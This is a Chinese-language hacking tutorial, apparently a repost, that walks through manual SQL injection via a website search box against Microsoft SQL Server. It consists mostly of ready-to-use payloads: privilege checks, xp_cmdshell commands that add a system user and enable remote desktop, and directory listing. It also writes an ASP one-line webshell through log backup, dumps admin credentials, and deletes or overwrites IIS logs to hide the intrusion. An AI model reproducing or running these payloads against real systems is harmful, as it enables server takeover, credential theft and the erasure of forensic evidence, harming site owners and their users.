搜索型注入漏洞手工注入過程
首先,簡單的判斷搜索型注入漏洞存在不存在的辦法是先搜索,如果出錯,說明90%存在這個漏洞。
a%’ and 1=1– 正常
a%’ and 1=2– 錯誤
有注入
由於網站過濾了 ‘ 等等的。所以工具不行,要手工了。累人啊~~~
判斷權限
a%’ and (select is_member(‘dbo’))=1– 返回正常則 sa
a%’ and (select is_member(‘db_owner’))=1– 返回正常則 DB
都不是那就只有一種可能啦,public,權限貌似很小。
也可以用另一種命令來判斷權限
a%’ and 1=(Select IS_SRVROLEMEMBER(‘sysadmin’));– sa
a%’ and 1=(Select IS_MEMBER(‘db_owner’));– DB
================================================================
sa 的方法。直接建立系統帳號密碼。登陸3389.
命令是
a%’;exec master..xp_cmdshell”net user admins 123456 /add”–
如果 ‘xp_cmdshell’ 被關閉了。就來開啟他。
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;reconfigure
最后這個為1是開啟.為0是關閉.
a%’ ;EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXECsp_configure ‘xp_cmdshell’, 1;RECONFIGURE–
如果不開3389
下面的命令。。
a%’;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEMCurrentControlSetControlTerminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;–
================================================================
db 的方法
主要思路是列目錄-差異備份 還有需要庫名。想辦法弄出來。
首先列目錄
a%’ order by XX– 自己猜 例如 12
然后
a%’ and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12–
找到字符類型的,能顯示出來的 比如 5
《MSSQL手工注入目錄查找輔助工具》這個自己百度去哈。。。
用 天陽的《MSSQL手工注入目錄查找輔助工具》 生成列目錄的代碼 現在例如生成的是C盤的
然后
a%’ ;drop table t_tian6 create table t_tian6(fn nvarchar(4000),d int,f int) declare @root nvarchar(4000) set @root=0x43003A00 insert into t_tian6 exec master..xp_dirtree @root,1,1 update t_tian6 set fn=fn+char(92) where f=0 drop table t_tian6_1 create tabLe t_tian6_1(f nvarchar(4000))– //建立插入表數據
然后
a%’ ;declare @fn nvarchar(400),@f int,@r nvarchar(4000) set @r=char(9) declare cr cursor for select fn,f from t_tian6 order by f,fn open cr fetch cr into @fn,@f while @@fetch_status=0 begin set @r=@r+@fn+char(9) fetch cr into @fn,@f end close cr deallocate cr insert intO t_tian6_1(f) values(@r)– //遠程整理
然后
a%’ and 1=2 union select 1,2,3,4,(select top 1 f from t_tian6_1),6,7,8,9,10,11,12–
獲取結果。就顯示出來路徑了。
接下來就是 繼續 用 《MSSQL手工注入目錄查找輔助工具》生成列目錄的代碼,按照上面的步驟來做, 獲取路徑。。。直到找到網站根目錄。
然后再獲取庫名
命令:
a%’ and 1=2 union select 1,2,3,4,(select db_name()),6,7,8,9,10,11,12–
and (select db_name())>0 是查詢庫名的。這里直接在里面顯示。 //and user>0 查看當前用戶的。這里貌似沒什么用,應該不需要,但是平時注入的時候很常用。
接下來就是 差異備份一句話木馬了。
這里用LOG 5步備份法。最后 如果拿到權限后,最好把 備份的東西給刪除了吧。
代碼是
a%’;alter database 庫名 set RECOVERY FULL–
a%’;create table cmd (a image)–
a%’;backup log 庫名 to disk = ‘c:backuplog.bak’ with init–
a%’;insert into cmd (a) values (0x3C256576616C20726571756573742822612229253E)–
a%’;backup log 庫名 to disk = ‘D:/****/a.asp’– //路徑就填剛才獲取到的
0x3C256576616C20726571756573742822612229253E = 一句話木馬 =<%eval(request(“a”))%>
庫名 是剛才查詢到的。自己填。
然后就是用一句話上去連。OK。成功了。
================================================================
public權限的又改如何拿?
那就只好查管理員的帳號密碼 然后 登陸后台拿webshell了。
a%’ order by XX 自己猜 例如 12
然后
a%’ and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12–
猜表
a%’ and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12 from admin– // 猜他是admin 返回正常則有,不正常的話,就試其他的比如:manage user 等等
a%’ and 1=2 union select 1,2,3,4,username,password,7,8,9,10,11,12 from admin–
猜帳號密碼
2個字段 一個 username 一個 password 。返回正常則 會顯示管理員帳號密碼的。
不對的話,就試試別的字段。
然后就是登陸后台,拿webshell了。
=================================================================
清除日志:
刪除:
a%’;exec master..xp_cmdshell”del C:winntsystem32logfilesW3SVC1ex090127.log”–
覆蓋:(推薦)
a%’;exec master..xp_cmdshell”copy C:winntsystem32logfilesW3SVC1ex090201.log C:winntsystem32logfilesW3SVC1ex100201.log”–
按照系統的不同而自己改路徑。
================================================================
備注:
如果在搜索框內字數被限制了。就點查看源文件,找到
<input type=”text” name=”keyword” size=10 value=”無關鍵字” maxlength=”50″>
把文本框內的
maxlength值改的大一些。
比如
<input type=”text” name=”keyword” size=10 value=”無關鍵字” maxlength=”1000000″>
然后保存到本地提交。
就不會限制到了。呵呵。我就不信你能輸入命令超過這個數。
好像有點多余,呵呵。
注:本文轉自90sec由網絡安全攻防研究室(www.91ri.org)信息安全小組收集整理。